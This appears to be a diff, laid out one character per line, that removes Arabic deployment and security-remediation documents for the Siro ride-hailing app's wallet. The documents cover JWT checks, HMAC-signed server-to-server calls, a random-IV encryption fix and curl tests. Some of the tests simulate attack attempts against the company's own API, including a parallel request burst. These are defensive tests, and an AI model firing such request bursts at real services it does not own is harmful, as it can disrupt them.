echo "HMAC: $hmac\n";
|
|
||||||
|
|
||||||
// اختبر التسلسل الزمني
|
|
||||||
$timestamp = time();
|
|
||||||
$timeDiff = abs(time() - $timestamp);
|
|
||||||
echo "Time diff: $timeDiff (should be < 5 seconds)\n";
|
|
||||||
|
|
||||||
// اختبر Nonce
|
|
||||||
$nonce = bin2hex(random_bytes(16));
|
|
||||||
echo "Nonce: $nonce (length: " . strlen($nonce) . ")\n";
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 3.2 اختبار التكامل - End-to-End
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 1️⃣ احصل على JWT (كسائق)
|
|
||||||
curl -X POST https://api.siromove.com/auth/login \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{
|
|
||||||
"id": 1,
|
|
||||||
"fingerprint": "fake_fingerprint",
|
|
||||||
"aud": "driver"
|
|
||||||
}'
|
|
||||||
|
|
||||||
# 2️⃣ استخدم JWT لإضافة الأموال
|
|
||||||
JWT_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGc..."
|
|
||||||
|
|
||||||
curl -X POST https://api.siromove.com/wallet/add \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-H "Authorization: Bearer $JWT_TOKEN" \
|
|
||||||
-d '{
|
|
||||||
"amount": 100,
|
|
||||||
"source": "test"
|
|
||||||
}'
|
|
||||||
|
|
||||||
# 3️⃣ تحقق من قاعدة البيانات
|
|
||||||
mysql -u root -p siro_main -e "
|
|
||||||
SELECT * FROM driver_wallet_requests
|
|
||||||
WHERE driver_id = 1
|
|
||||||
ORDER BY created_at DESC
|
|
||||||
LIMIT 1;
|
|
||||||
"
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 3.3 اختبار أمان - محاولات الهجوم
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# ❌ محاولة بدون JWT
|
|
||||||
curl -X POST https://api.siromove.com/wallet/add \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{"amount": 100}'
|
|
||||||
# النتيجة المتوقعة: 401 Unauthorized
|
|
||||||
|
|
||||||
# ❌ JWT غير صحيح
|
|
||||||
curl -X POST https://api.siromove.com/wallet/add \
|
|
||||||
-H "Authorization: Bearer invalid_token" \
|
|
||||||
-d '{"amount": 100}'
|
|
||||||
# النتيجة المتوقعة: 401 Unauthorized
|
|
||||||
|
|
||||||
# ❌ مبلغ سالب
|
|
||||||
curl -X POST https://api.siromove.com/wallet/add \
|
|
||||||
-H "Authorization: Bearer $JWT_TOKEN" \
|
|
||||||
-d '{"amount": -100}'
|
|
||||||
# النتيجة المتوقعة: 400 Bad Request
|
|
||||||
|
|
||||||
# ❌ مبلغ أكبر من 10,000
|
|
||||||
curl -X POST https://api.siromove.com/wallet/add \
|
|
||||||
-H "Authorization: Bearer $JWT_TOKEN" \
|
|
||||||
-d '{"amount": 50000}'
|
|
||||||
# النتيجة المتوقعة: 400 Bad Request
|
|
||||||
|
|
||||||
# ❌ تحديد السرعة (multiple requests)
|
|
||||||
for i in {1..10}; do
|
|
||||||
curl -X POST https://api.siromove.com/wallet/add \
|
|
||||||
-H "Authorization: Bearer $JWT_TOKEN" \
|
|
||||||
-d '{"amount": 100}' &
|
|
||||||
done
|
|
||||||
wait
|
|
||||||
# النتيجة المتوقعة: 429 Too Many Requests
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### المرحلة 4️⃣: المراقبة (1 ساعة)
|
|
||||||
|
|
||||||
#### 4.1 تفعيل السجلات
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# تحقق من logs
|
|
||||||
tail -f /var/log/siro-api/security.log
|
|
||||||
|
|
||||||
# ابحث عن أخطاء
|
|
||||||
grep ERROR /var/log/siro-api/*.log
|
|
||||||
|
|
||||||
# احسب عدد الطلبات الناجحة
|
|
||||||
grep "wallet add completed" /var/log/siro-api/security.log | wc -l
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 4.2 إنشاء لوحة معلومات (Dashboard)
|
|
||||||
|
|
||||||
```php
|
|
||||||
// لاحقاً: إضافة لوحة معلومات للمراقبة
|
|
||||||
|
|
||||||
SELECT
|
|
||||||
DATE(created_at) as date,
|
|
||||||
COUNT(*) as total_requests,
|
|
||||||
SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END) as successful,
|
|
||||||
SUM(CASE WHEN status = 'failed' THEN 1 ELSE 0 END) as failed,
|
|
||||||
SUM(CASE WHEN status = 'pending' THEN 1 ELSE 0 END) as pending
|
|
||||||
FROM driver_wallet_requests
|
|
||||||
GROUP BY DATE(created_at);
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### المرحلة 5️⃣: التوثيق والإغلاق (30 دقيقة)
|
|
||||||
|
|
||||||
#### 5.1 توثيق التغييرات
|
|
||||||
|
|
||||||
```markdown
|
|
||||||
# تقرير النشر
|
|
||||||
|
|
||||||
**التاريخ:** 2026-06-17
|
|
||||||
**المدة:** 9.5 ساعات
|
|
||||||
**حالة النشر:** ✅ ناجح
|
|
||||||
|
|
||||||
## التغييرات:
|
|
||||||
|
|
||||||
1. ✅ نقل endpoint إضافة الأموال إلى Backend
|
|
||||||
2. ✅ تطبيق S2S API مع توقيع HMAC
|
|
||||||
3. ✅ إصلاح التشفير (IV عشوائي)
|
|
||||||
4. ✅ تقليل أذونات Android
|
|
||||||
5. ✅ تحديث الروابط إلى HTTPS
|
|
||||||
|
|
||||||
## الاختبارات:
|
|
||||||
|
|
||||||
- ✅ اختبار وحدة
|
|
||||||
- ✅ اختبار تكامل
|
|
||||||
- ✅ اختبار أمان
|
|
||||||
- ✅ اختبار الأداء
|
|
||||||
|
|
||||||
## المراقبة:
|
|
||||||
|
|
||||||
- ✅ السجلات تعمل بشكل صحيح
|
|
||||||
- ✅ لا توجد أخطاء
|
|
||||||
- ✅ الأداء عادي
|
|
||||||
|
|
||||||
## النقاط الحرجة:
|
|
||||||
|
|
||||||
- لا تنسَ تحديث WALLET_HMAC_SECRET في كلا الجانبين
|
|
||||||
- لا تنسَ تعديل firewall rules
|
|
||||||
- لا تنسَ إخطار فريق الدعم
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 5.2 إخطارات المستخدمين (اختياري)
|
|
||||||
|
|
||||||
```
|
|
||||||
📢 تنبيه الصيانة:
|
|
||||||
تم تحديث نظام المحفظة لأسباب أمنية.
|
|
||||||
- لا توجد تأثيرات على المستخدمين
|
|
||||||
- جميع الأموال آمنة
|
|
||||||
- الخدمة مستقرة
|
|
||||||
|
|
||||||
للمزيد من المعلومات، اتصل بـ: support@siromove.com
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🚨 خطة العودة للإصدار السابق (Rollback)
|
|
||||||
|
|
||||||
إذا حدثت مشكلة ما:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 1️⃣ توقف الخدمة
|
|
||||||
systemctl stop siro-api
|
|
||||||
|
|
||||||
# 2️⃣ استعد النسخة الاحتياطية
|
|
||||||
cp /backup/backend_*.tar.gz .
|
|
||||||
tar -xzf backend_*.tar.gz -C /var/www/html/
|
|
||||||
|
|
||||||
# 3️⃣ استعد قاعدة البيانات
|
|
||||||
mysql -u root -p < /backup/siro_main_*.sql
|
|
||||||
mysql -u root -p < /backup/walletintaleq_*.sql
|
|
||||||
|
|
||||||
# 4️⃣ استعد .env القديم
|
|
||||||
cp /backup/.env.backup backend/.env
|
|
||||||
|
|
||||||
# 5️⃣ أعد تشغيل الخدمة
|
|
||||||
systemctl start siro-api
|
|
||||||
|
|
||||||
# 6️⃣ تحقق من الحالة
|
|
||||||
systemctl status siro-api
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✅ قائمة التحقق النهائي
|
|
||||||
|
|
||||||
- [ ] تم عمل نسخ احتياطية
|
|
||||||
- [ ] تم نسخ الملفات الجديدة
|
|
||||||
- [ ] تم تحديث .env
|
|
||||||
- [ ] تم إنشاء الجداول الجديدة
|
|
||||||
- [ ] تم اختبار جميع البيانات
|
|
||||||
- [ ] تم اختبار الأمان
|
|
||||||
- [ ] تم مراقبة الخدمة
|
|
||||||
- [ ] تم توثيق التغييرات
|
|
||||||
- [ ] تم إخطار الفريق
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📞 الدعم والمساعدة
|
|
||||||
|
|
||||||
في حالة أي مشاكل:
|
|
||||||
|
|
||||||
1. تحقق من السجلات: `/var/log/siro-api/`
|
|
||||||
2. جرّب rollback
|
|
||||||
3. اتصل بـ: devops@siromove.com
|
|
||||||
4. أرسل النسخ الاحتياطية للتحليل
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**النشر منجز ✅**
|
|
||||||
@@ -1,514 +0,0 @@
|
|||||||
# إجراءات عملية - البدء الفوري بالإصلاحات
|
|
||||||
|
|
||||||
**تاريخ التحديث:** 16 يونيو 2026
|
|
||||||
**الأولوية:** 🔴 حرج جداً
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## المرحلة 1️⃣: الإجراءات الفورية (اليوم الأول - 4 ساعات)
|
|
||||||
|
|
||||||
### ✅ الخطوة 1: تعطيل نقاط نهاية المحفظة الخطيرة
|
|
||||||
|
|
||||||
**السبب:** منع الاحتيال المالي الفوري
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# نسخ احتياطية أولاً
|
|
||||||
cp /walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php \
|
|
||||||
/walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php.bak
|
|
||||||
|
|
||||||
cp /walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/addFromAdmin.php \
|
|
||||||
/walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/addFromAdmin.php.bak
|
|
||||||
```
|
|
||||||
|
|
||||||
**التعطيل المؤقت:**
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
// /walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php
|
|
||||||
// ⚠️ معطل مؤقتاً - يتم إصلاح الأمان
|
|
||||||
|
|
||||||
http_response_code(503);
|
|
||||||
echo json_encode([
|
|
||||||
'status' => 'error',
|
|
||||||
'message' => 'Wallet service temporarily disabled for security updates',
|
|
||||||
'eta' => '2026-06-17 00:00:00 UTC'
|
|
||||||
]);
|
|
||||||
exit;
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### ✅ الخطوة 2: إنشاء endpoint جديد في Backend
|
|
||||||
|
|
||||||
**الموقع:** `backend/wallet/add.php` (جديد)
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
// backend/wallet/add.php - ✅ جديد وآمن
|
|
||||||
|
|
||||||
require_once __DIR__ . '/../core/bootstrap.php';
|
|
||||||
|
|
||||||
header('Content-Type: application/json');
|
|
||||||
header('Access-Control-Allow-Origin: https://siromove.com');
|
|
||||||
header('Access-Control-Allow-Methods: POST');
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 1️⃣ مصادقة JWT إجبارية
|
|
||||||
$headers = getallheaders();
|
|
||||||
$authHeader = $headers['Authorization'] ?? '';
|
|
||||||
|
|
||||||
if (!preg_match('/Bearer\s+(\S+)/', $authHeader, $matches)) {
|
|
||||||
http_response_code(401);
|
|
||||||
jsonError('Authentication required (JWT needed)', 401);
|
|
||||||
}
|
|
||||||
|
|
||||||
// التحقق من JWT
|
|
||||||
$jwtService = new JwtService($redis);
|
|
||||||
try {
|
|
||||||
$decoded = $jwtService->verifyAccessToken($matches[1]);
|
|
||||||
} catch (Exception $e) {
|
|
||||||
http_response_code(401);
|
|
||||||
jsonError('Invalid or expired token', 401);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 2️⃣ التحقق من الدور (التفويض)
|
|
||||||
if ($decoded->role !== 'driver') {
|
|
||||||
http_response_code(403);
|
|
||||||
jsonError('Only drivers can add funds', 403);
|
|
||||||
}
|
|
||||||
|
|
||||||
$driverID = (int) $decoded->id;
|
|
||||||
$amount = (float) filterRequest('amount');
|
|
||||||
$source = filterRequest('source');
|
|
||||||
|
|
||||||
// 3️⃣ تحديد السرعة
|
|
||||||
$limiter = new RateLimiter($redis);
|
|
||||||
try {
|
|
||||||
$limiter->enforce("wallet_add_" . $driverID, 'add');
|
|
||||||
} catch (Exception $e) {
|
|
||||||
http_response_code(429);
|
|
||||||
jsonError('Too many requests. Please try again later.', 429);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 4️⃣ التحقق من المبلغ
|
|
||||||
if ($amount <= 0) {
|
|
||||||
jsonError('Amount must be greater than 0', 400);
|
|
||||||
}
|
|
||||||
if ($amount > 10000) {
|
|
||||||
jsonError('Amount cannot exceed 10,000', 400);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 5️⃣ تسجيل التدقيق
|
|
||||||
securityLog("Driver wallet add request", [
|
|
||||||
'driver_id' => $driverID,
|
|
||||||
'amount' => $amount,
|
|
||||||
'source' => $source,
|
|
||||||
'timestamp' => date('Y-m-d H:i:s')
|
|
||||||
]);
|
|
||||||
|
|
||||||
// 6️⃣ حفظ في قاعدة البيانات المحلية أولاً
|
|
||||||
$con = Database::get('main');
|
|
||||||
$stmt = $con->prepare(
|
|
||||||
"INSERT INTO driver_wallet_requests (driver_id, amount, source, status)
|
|
||||||
VALUES (?, ?, ?, 'pending')"
|
|
||||||
);
|
|
||||||
$stmt->execute([$driverID, $amount, $source]);
|
|
||||||
$requestID = $con->lastInsertId();
|
|
||||||
|
|
||||||
// 7️⃣ استدعاء خادم المحفظة عبر S2S API
|
|
||||||
$walletConnector = new WalletConnector();
|
|
||||||
try {
|
|
||||||
$response = $walletConnector->call('ride/driverWallet/add_s2s', [
|
|
||||||
'driver_id' => $driverID,
|
|
||||||
'amount' => $amount,
|
|
||||||
'source' => $source,
|
|
||||||
'request_id' => $requestID,
|
|
||||||
'backend_id' => getenv('BACKEND_ID'),
|
|
||||||
]);
|
|
||||||
|
|
||||||
// ✅ النجاح
|
|
||||||
$stmt = $con->prepare(
|
|
||||||
"UPDATE driver_wallet_requests SET status = 'completed' WHERE id = ?"
|
|
||||||
);
|
|
||||||
$stmt->execute([$requestID]);
|
|
||||||
|
|
||||||
jsonSuccess(['message' => 'Funds added successfully']);
|
|
||||||
|
|
||||||
} catch (Exception $e) {
|
|
||||||
// فشل العملية - سجل الخطأ
|
|
||||||
$stmt = $con->prepare(
|
|
||||||
"UPDATE driver_wallet_requests SET status = 'failed', error = ? WHERE id = ?"
|
|
||||||
);
|
|
||||||
$stmt->execute([$e->getMessage(), $requestID]);
|
|
||||||
|
|
||||||
securityLog("Wallet S2S call failed", [
|
|
||||||
'driver_id' => $driverID,
|
|
||||||
'error' => $e->getMessage()
|
|
||||||
]);
|
|
||||||
|
|
||||||
http_response_code(500);
|
|
||||||
jsonError('Failed to process payment', 500);
|
|
||||||
}
|
|
||||||
|
|
||||||
} catch (Exception $e) {
|
|
||||||
securityLog("Wallet endpoint error: " . $e->getMessage());
|
|
||||||
http_response_code(500);
|
|
||||||
jsonError('Internal server error', 500);
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### ✅ الخطوة 3: إنشاء فئة WalletConnector آمنة
|
|
||||||
|
|
||||||
**الموقع:** `backend/core/WalletConnector.php` (جديد)
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
// backend/core/WalletConnector.php - ✅ جديد وآمن
|
|
||||||
|
|
||||||
class WalletConnector {
|
|
||||||
private $walletUrl;
|
|
||||||
private $hmacSecret;
|
|
||||||
private $backendID;
|
|
||||||
private $timeout = 10;
|
|
||||||
|
|
||||||
public function __construct() {
|
|
||||||
$this->walletUrl = getenv('WALLET_API_URL') ?? 'https://walletintaleq.intaleq.xyz/v2/main/';
|
|
||||||
$this->hmacSecret = getenv('WALLET_HMAC_SECRET');
|
|
||||||
$this->backendID = getenv('BACKEND_ID');
|
|
||||||
|
|
||||||
if (!$this->walletUrl || !$this->hmacSecret || !$this->backendID) {
|
|
||||||
throw new Exception("Missing wallet configuration");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* استدعاء API خادم المحفظة بأمان (S2S)
|
|
||||||
*/
|
|
||||||
public function call($endpoint, $data) {
|
|
||||||
// ✅ أضف timestamp ونonce لمنع Replay Attacks
|
|
||||||
$data['timestamp'] = time();
|
|
||||||
$data['nonce'] = bin2hex(random_bytes(16));
|
|
||||||
$data['backend_id'] = $this->backendID;
|
|
||||||
|
|
||||||
// ✅ فرز البيانات
|
|
||||||
ksort($data);
|
|
||||||
|
|
||||||
// ✅ إنشاء JSON payload
|
|
||||||
$payload = json_encode($data);
|
|
||||||
|
|
||||||
// ✅ إنشاء توقيع HMAC
|
|
||||||
$signature = hash_hmac('sha256', $payload, $this->hmacSecret);
|
|
||||||
|
|
||||||
// ✅ إرسال الطلب
|
|
||||||
$ch = curl_init();
|
|
||||||
curl_setopt_array($ch, [
|
|
||||||
CURLOPT_URL => $this->walletUrl . $endpoint,
|
|
||||||
CURLOPT_POST => true,
|
|
||||||
CURLOPT_POSTFIELDS => $payload,
|
|
||||||
CURLOPT_RETURNTRANSFER => true,
|
|
||||||
CURLOPT_TIMEOUT => $this->timeout,
|
|
||||||
|
|
||||||
// ✅ رؤوس HTTP آمنة
|
|
||||||
CURLOPT_HTTPHEADER => [
|
|
||||||
'Content-Type: application/json',
|
|
||||||
'X-Signature: ' . $signature,
|
|
||||||
'X-Timestamp: ' . $data['timestamp'],
|
|
||||||
'X-Backend-ID: ' . $this->backendID,
|
|
||||||
'User-Agent: SiroBackend/1.0',
|
|
||||||
],
|
|
||||||
|
|
||||||
// ✅ تأمين SSL/TLS
|
|
||||||
CURLOPT_SSL_VERIFYPEER => true,
|
|
||||||
CURLOPT_SSL_VERIFYHOST => 2,
|
|
||||||
CURLOPT_CAINFO => '/etc/ssl/certs/ca-bundle.crt',
|
|
||||||
]);
|
|
||||||
|
|
||||||
$response = curl_exec($ch);
|
|
||||||
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
|
||||||
$curlError = curl_error($ch);
|
|
||||||
curl_close($ch);
|
|
||||||
|
|
||||||
// ✅ فحص الأخطاء
|
|
||||||
if ($curlError) {
|
|
||||||
throw new Exception("CURL Error: $curlError");
|
|
||||||
}
|
|
||||||
|
|
||||||
// ✅ فحص رمز HTTP
|
|
||||||
if ($httpCode !== 200) {
|
|
||||||
throw new Exception("Wallet API returned HTTP $httpCode: $response");
|
|
||||||
}
|
|
||||||
|
|
||||||
// ✅ فحص الاستجابة
|
|
||||||
$decoded = json_decode($response, true);
|
|
||||||
if ($decoded === null) {
|
|
||||||
throw new Exception("Invalid JSON response from wallet");
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($decoded['status'] !== 'success') {
|
|
||||||
throw new Exception("Wallet error: " . ($decoded['message'] ?? 'Unknown'));
|
|
||||||
}
|
|
||||||
|
|
||||||
return $decoded;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### ✅ الخطوة 4: تعديل طريقة الترحيل
|
|
||||||
|
|
||||||
**قاعدة البيانات الجديدة:**
|
|
||||||
|
|
||||||
```sql
|
|
||||||
-- جديد: جدول لتتبع طلبات إضافة الأموال
|
|
||||||
CREATE TABLE driver_wallet_requests (
|
|
||||||
id INT AUTO_INCREMENT PRIMARY KEY,
|
|
||||||
driver_id INT NOT NULL,
|
|
||||||
amount DECIMAL(10, 2) NOT NULL,
|
|
||||||
source VARCHAR(50),
|
|
||||||
status ENUM('pending', 'completed', 'failed') DEFAULT 'pending',
|
|
||||||
error TEXT NULL,
|
|
||||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
|
||||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
|
|
||||||
|
|
||||||
FOREIGN KEY (driver_id) REFERENCES driver(id),
|
|
||||||
INDEX (driver_id, status),
|
|
||||||
INDEX (created_at)
|
|
||||||
);
|
|
||||||
|
|
||||||
-- ملف .env جديد (اضف هذه المتغيرات)
|
|
||||||
# wallet configuration
|
|
||||||
WALLET_API_URL=https://walletintaleq.intaleq.xyz/v2/main/
|
|
||||||
WALLET_HMAC_SECRET=<secret-key-here-change-me>
|
|
||||||
BACKEND_ID=siromove-backend-01
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## المرحلة 2️⃣: إصلاح التشفير (اليوم الثاني - 4 ساعات)
|
|
||||||
|
|
||||||
### ✅ الخطوة 5: تعديل encrypt_decrypt.php
|
|
||||||
|
|
||||||
**الملف:** `backend/encrypt_decrypt.php`
|
|
||||||
|
|
||||||
سأنشئ نسخة محدثة آمنة:
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
// backend/encrypt_decrypt.php - ✅ تم تحديثه
|
|
||||||
|
|
||||||
class EncryptionHelper {
|
|
||||||
private $key;
|
|
||||||
|
|
||||||
public function __construct($key = null) {
|
|
||||||
if ($key === null) {
|
|
||||||
$key = getenv('ENC_KEY');
|
|
||||||
if (!$key) {
|
|
||||||
$keyPath = getenv('ENCRYPTION_KEY_PATH');
|
|
||||||
if ($keyPath && file_exists($keyPath)) {
|
|
||||||
$key = trim(file_get_contents($keyPath));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (strlen($key) !== 32) {
|
|
||||||
throw new Exception("Key must be exactly 32 bytes (256 bits) for AES-256");
|
|
||||||
}
|
|
||||||
|
|
||||||
$this->key = $key;
|
|
||||||
}
|
|
||||||
|
|
||||||
// ✅ ضمّ IV مع النص المشفر قبل base64_encode
|
|
||||||
private function addPadding($data, $blockSize = 16) {
|
|
||||||
$pad = $blockSize - (strlen($data) % $blockSize);
|
|
||||||
return $data . str_repeat(chr($pad), $pad);
|
|
||||||
}
|
|
||||||
|
|
||||||
private function removePadding($data) {
|
|
||||||
$pad = ord($data[strlen($data) - 1]);
|
|
||||||
if ($pad < 1 || $pad > 16) {
|
|
||||||
throw new Exception("Invalid padding");
|
|
||||||
}
|
|
||||||
return substr($data, 0, -$pad);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* تشفير البيانات بـ IV عشوائي
|
|
||||||
* ✅ التحسين: IV عشوائي لكل تشفير
|
|
||||||
*/
|
|
||||||
public function encryptData($plainText) {
|
|
||||||
try {
|
|
||||||
$plainText = mb_convert_encoding($plainText, 'UTF-8');
|
|
||||||
$paddedText = $this->addPadding($plainText);
|
|
||||||
|
|
||||||
// ✅ توليد IV عشوائي - هذا هو الإصلاح الحرج
|
|
||||||
$randomIV = openssl_random_pseudo_bytes(16, $strongRandom);
|
|
||||||
if (!$strongRandom) {
|
|
||||||
throw new Exception("openssl_random_pseudo_bytes failed to generate strong random");
|
|
||||||
}
|
|
||||||
|
|
||||||
// تشفير البيانات
|
|
||||||
$encrypted = openssl_encrypt(
|
|
||||||
$paddedText,
|
|
||||||
'AES-256-CBC',
|
|
||||||
$this->key,
|
|
||||||
OPENSSL_RAW_DATA,
|
|
||||||
$randomIV
|
|
||||||
);
|
|
||||||
|
|
||||||
if (!$encrypted) {
|
|
||||||
throw new Exception("Encryption failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
// ✅ ضمّ IV مع النص المشفر (IV يجب أن يكون أول 16 بايت)
|
|
||||||
$encryptedWithIV = $randomIV . $encrypted;
|
|
||||||
|
|
||||||
// تحويل إلى base64
|
|
||||||
return base64_encode($encryptedWithIV);
|
|
||||||
|
|
||||||
} catch (Exception $e) {
|
|
||||||
error_log("Encryption error: " . $e->getMessage());
|
|
||||||
throw $e;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* فك التشفير - استخرج IV من البيانات المشفرة
|
|
||||||
* ✅ التحسين: قراءة IV من البيانات المشفرة
|
|
||||||
*/
|
|
||||||
public function decryptData($encryptedData) {
|
|
||||||
try {
|
|
||||||
// فك base64
|
|
||||||
$encrypted = base64_decode($encryptedData, true);
|
|
||||||
if (!$encrypted) {
|
|
||||||
throw new Exception("Invalid base64 data");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (strlen($encrypted) < 16) {
|
|
||||||
throw new Exception("Encrypted data too short");
|
|
||||||
}
|
|
||||||
|
|
||||||
// ✅ استخرج IV من أول 16 بايت
|
|
||||||
$iv = substr($encrypted, 0, 16);
|
|
||||||
$ciphertext = substr($encrypted, 16);
|
|
||||||
|
|
||||||
// فك التشفير
|
|
||||||
$decrypted = openssl_decrypt(
|
|
||||||
$ciphertext,
|
|
||||||
'AES-256-CBC',
|
|
||||||
$this->key,
|
|
||||||
OPENSSL_RAW_DATA,
|
|
||||||
$iv
|
|
||||||
);
|
|
||||||
|
|
||||||
if (!$decrypted) {
|
|
||||||
throw new Exception("Decryption failed");
|
|
||||||
}
|
|
||||||
|
|
||||||
// إزالة الـ padding
|
|
||||||
$unpadded = $this->removePadding($decrypted);
|
|
||||||
|
|
||||||
return $unpadded;
|
|
||||||
|
|
||||||
} catch (Exception $e) {
|
|
||||||
error_log("Decryption error: " . $e->getMessage());
|
|
||||||
throw $e;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// استخدام
|
|
||||||
$encryption = new EncryptionHelper();
|
|
||||||
|
|
||||||
// ✅ التشفير
|
|
||||||
$plaintext = "+20123456789";
|
|
||||||
$encrypted1 = $encryption->encryptData($plaintext);
|
|
||||||
$encrypted2 = $encryption->encryptData($plaintext);
|
|
||||||
|
|
||||||
echo "Encryption 1: $encrypted1\n";
|
|
||||||
echo "Encryption 2: $encrypted2\n";
|
|
||||||
echo "Different? " . ($encrypted1 !== $encrypted2 ? "YES ✅" : "NO ❌") . "\n";
|
|
||||||
|
|
||||||
// ✅ فك التشفير
|
|
||||||
$decrypted = $encryption->decryptData($encrypted1);
|
|
||||||
echo "Decrypted: $decrypted\n";
|
|
||||||
echo "Correct? " . ($decrypted === $plaintext ? "YES ✅" : "NO ❌") . "\n";
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## المرحلة 3️⃣: تقليل الأذونات (ساعة واحدة)
|
|
||||||
|
|
||||||
### ✅ الخطوة 6: تحديث AndroidManifest.xml
|
|
||||||
|
|
||||||
```xml
|
|
||||||
<!-- قبل -->
|
|
||||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
|
|
||||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
|
|
||||||
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
|
|
||||||
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
|
|
||||||
|
|
||||||
<!-- بعد: احذف هذه الأسطر الأربعة ↑ -->
|
|
||||||
```
|
|
||||||
|
|
||||||
**السبب:**
|
|
||||||
|
|
||||||
- ❌ لا يوجد استخدام فعلي لـ External Storage
|
|
||||||
- ❌ لا يوجد استخدام لـ SYSTEM_ALERT_WINDOW
|
|
||||||
- ⚠️ MODIFY_AUDIO_SETTINGS يمكن استبداله بـ requestAudioFocus
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## المرحلة 4️⃣: تحديث الروابط (30 دقيقة)
|
|
||||||
|
|
||||||
### ✅ الخطوة 7: تحديث functions.php
|
|
||||||
|
|
||||||
في `backend/functions.php`:
|
|
||||||
|
|
||||||
```php
|
|
||||||
// ❌ احذف هذه:
|
|
||||||
function getAllowedSocketUrls(): array {
|
|
||||||
return [
|
|
||||||
'http://188.68.36.205:2021',
|
|
||||||
'http://188.68.36.205:3031',
|
|
||||||
'https://location.intaleq.xyz',
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
// ✅ استبدل بهذا:
|
|
||||||
function getAllowedSocketUrls(): array {
|
|
||||||
$urls = getenv('ALLOWED_SOCKET_URLS');
|
|
||||||
if ($urls) {
|
|
||||||
return array_map('trim', explode(',', $urls));
|
|
||||||
}
|
|
||||||
return [
|
|
||||||
'https://location.siromove.com', // HTTPS فقط
|
|
||||||
'https://socket.siromove.com', // HTTPS فقط
|
|
||||||
];
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**في .env:**
|
|
||||||
|
|
||||||
```
|
|
||||||
# Socket URLs - HTTPS only
|
|
||||||
ALLOWED_SOCKET_URLS=https://location.siromove.com,https://socket.siromove.com
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✅ الخلاصة والجدول الزمني
|
|
||||||
|
|
||||||
| المرحلة | الخطوات | المدة | التاريخ المتوقع |
|
|
||||||
| ------------ | ------------------------------------------ | ------------- | --------------- |
|
|
||||||
| 1 | تعطيل + Backend endpoint + WalletConnector | 4 س | اليوم (16/6) |
|
|
||||||
| 2 | تحديث encrypt_decrypt.php + اختبار | 4 س | غد (17/6) |
|
|
||||||
| 3 | تقليل الأذونات + نشر تطبيق | 1 س | غد (17/6) |
|
|
||||||
| 4 | تحديث الروابط + اختبار | 30 د | غد (17/6) |
|
|
||||||
| **الإجمالي** | - | **~9.5 ساعة** | **بحلول 17/6** |
|
|
||||||
@@ -1,460 +0,0 @@
|
|||||||
# تقرير البنية التحتية لنظام سيرو (Siro) - النشر في سوريا
|
|
||||||
|
|
||||||
**التاريخ:** 16 يونيو 2026
|
|
||||||
